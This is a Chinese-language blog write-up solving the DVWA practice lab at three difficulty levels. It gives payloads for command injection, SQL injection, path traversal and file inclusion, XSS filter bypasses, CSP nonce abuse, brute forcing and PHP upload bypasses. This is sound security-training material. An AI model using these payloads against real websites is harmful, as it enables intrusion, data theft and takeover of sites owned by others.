MENU

DVWA靶机

2020 年 09 月 08 日 • 阅读: 138 • 阅读设置

DVWA靶机

1. 简单

暴力破解

  1. 抓包,暴力破解
  2. 发现一个账户:pablo,密码:letmein

命令注入

  1. 输入ip会查看ping值
  2. 输入1;ls /可以查看根目录下的文件

CSRF

  1. 获得修改密码的urlhttp://dvwa.com/vulnerabilities/csrf/?password_new=xdym&password_conf=xdym&Change=Change#
  2. 修改password和password_conf字段的值,如果已经登录,访问该网址就会修改密码成功

文件包含

  1. 发现url中包含了文件名,随意输入一个不存在的文件名,然后会报错出现绝对路径
  2. 根据绝对路径构造url访问主机中的文件
  3. http://dvwa.com/vulnerabilities/fi/?page=../../../../../home/www/1.txt即可访问该目录下的文件

文件上传

  1. 直接上传phpinfo.php,根据返回的提示直接输入网址,打开显示phpinfo
  2. 也可以使用一句话

Insecure CATCHA

  • 需要使用Google验证码,无法测试

SQL注入

  1. 输入1'报错
  2. 输入1'#正常显示,是单引号注入
  3. 输入1'order by 1#显示正常,输入到3时,报错
  4. 输入1'union select 1,2#确定显示位置,输入1'union select 1,group_concat(database())#显示dvwa

SQL盲注

  1. 使用sqlmap盲注
  2. python sqlmap.py -r 1.txt -dbs检测出所有数据库

弱会话ID1

  1. 点击Generate按钮,抓包显示cookie中会包含一个dvwaSession的字段,这个字段随着点一次按钮,该session自增加1
  2. 该版本的cookie存放有问题,退出登录后会默认

XSS(DOM)

  1. GET方式提交数据,所以直接在url中插入xss代码<script>alert(1)</script>即可

XSS(Reflected)

  1. 在对话框中输入<script>alert(1)</script>弹窗成功

XSS(Stored)

  1. 在name处插入XSS,发现限制字符数
  2. 在message处插入XSS<script>alert(1)</script>提交后弹窗

CSP Bypass

JavaScript

  1. 输入success,显示错误的token
  2. 查看源码
  3. 因为打开网页上输入的是ChangeMe,所以在源码中对ChangeMe进行了md5处理,于是应该先输入success,然后再执行script中的generate_token()函数,会得到正确的token

2. 中等

暴力破解

  1. 输入用户名、密码,然后抓包登录
  2. 将包发送到Intruder,然后对password直接爆破即可

命令注入

  1. 查看源码,发现过滤了;&&,但是还可以使用||&
  2. 输入1& /.即可查看根目录

CSRF

  1. 抓修改密码的包
  2. 将包发送到Repeater,修改密码,发送,修改密码成功
  3. 或者伪造一个提交页面,然后再通过抓包修改referer即可

文件包含

  1. 根据源码看到使用了str_replace函数,该函数将匹配到的字符串进行替换,所以可以使用双写绕过
  2. 输入urlhttp://dvwa.com/vulnerabilities/fi/?page=hthttp://tp://xdym11235.com包含成功

文件上传

  1. 无法直接上传php文件
  2. 上传php文件后修改Content-Type字段为image/jpeg
  3. 打开上传的文件,即可查看phpinfo

Insecure CAPTCHA

  • 需要使用Google验证码,无法测试

SQL注入

  1. 提交ID后抓包
  2. 修改POST包中的id字段为id=3 and 1=1#正常显示
  3. 修改POST包中的id字段为id=3 and 1=2#显示错误,数字型注入
  4. 输入id=3 union select 1,database()查看数据库

SQL注入盲注

  1. 使用sqlmap直接注入即可

弱会话ID

  1. 获取ID
  2. ID是以Unix时间生成,所以可以伪造

XSS(DOM)

  1. 尝试简单的payload<script>alert(1)</script>不行
  2. 查看源码,发现过滤<script>
  3. 使用<img src=# onerror=alert(1)>无果,检查元素,发现<img>标签被包裹在<select><option>中,所以无法执行
  4. 闭合<select><option>标签后再输入"></option></select><img src=# onerror=alert(1)>即可

XSS(Reflected)

  1. 输入<script>alert(1)</script>发现过滤<script>标签
  2. 尝试</pre></div><img src=# onerror=alert(1)>成功

XSS(Stored)

  1. 姓名那里限制输入字符所以在留言板输入<script>alert(1)</script>发现过滤<script>
  2. 输入<img src=# onerror=alert(1)>即可弹窗

CSP Bypass

  1. 任意输入后抓取返回包,发现Content-Security字段Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';
  2. 输入<script nonce='TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='>alert(1)</script>即可

JavaScript

  1. 输入success
  2. 在控制台中输入do_elsesomething("XX")

3. 高等

暴力破解

  1. 提交用户名密码并抓包,发现会同时提交用户token
  2. 使用burp的暴力破解模块的pitchfork模式
  3. 返回的网页中包含用户token,所以可以使用正则表达式标注token后进行暴力破解

命令注入

  1. 查看源码,发现有个过滤是|
  2. 不加空格即可
  3. payload1|ls

CSRF

  1. 有token,无法绕过

文件包含

  1. 要求必须使用file开头的文件
  2. 使用文件协议打开文件即可
  3. payloadfile:////www/wwwroot/dvwa.com/.user.ini

文件上传

  1. 上传图片马
  2. 利用文件包含将图片马解析为php

Insecure CAPTCHA

  • 需要使用Google验证码,无法测试

SQL注入

  1. 输入1'union select 1,2#注入成功

SQL盲注

弱会话ID

  1. 点击生成会话ID
  2. 根据ID的位数猜想为md5
  3. 对ID进行md5解密即可

XSS(DOM)

  1. 浏览器特性2
  2. default字段后输入#再输入XSS

XSS(Reflected)

  1. 输入<script>alert(1)</script>过滤了<script>的通配符
  2. 尝试无害的<img>命令
  3. payload为<img src=# onerror=alert(1)>

XSS(Stored)

  1. Message输入框过滤
  2. Name输入框有限制,所以需要抓包修改Name输入框
  3. payload为<img src=# onerror=alert(1)>

CSP Bypass

JavaScript

  1. 在对话框中输入success
  2. 在控制台中输入token_part_1("ABCD", 44)
  3. 在控制台中输入token_part_2("XX")
  4. 提交即可

  1. 当用户登录后,服务器会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带这个session就可,所以sessionID作为特定用户访问站点的唯一内容,如果能够计算或轻易猜到sessionID,则攻击者可以轻易的获取访问权。
  2. 浏览器不会发送#后的信息
最后编辑于: 2020 年 12 月 22 日
返回文章列表 文章二维码 打赏
本页链接的二维码
打赏二维码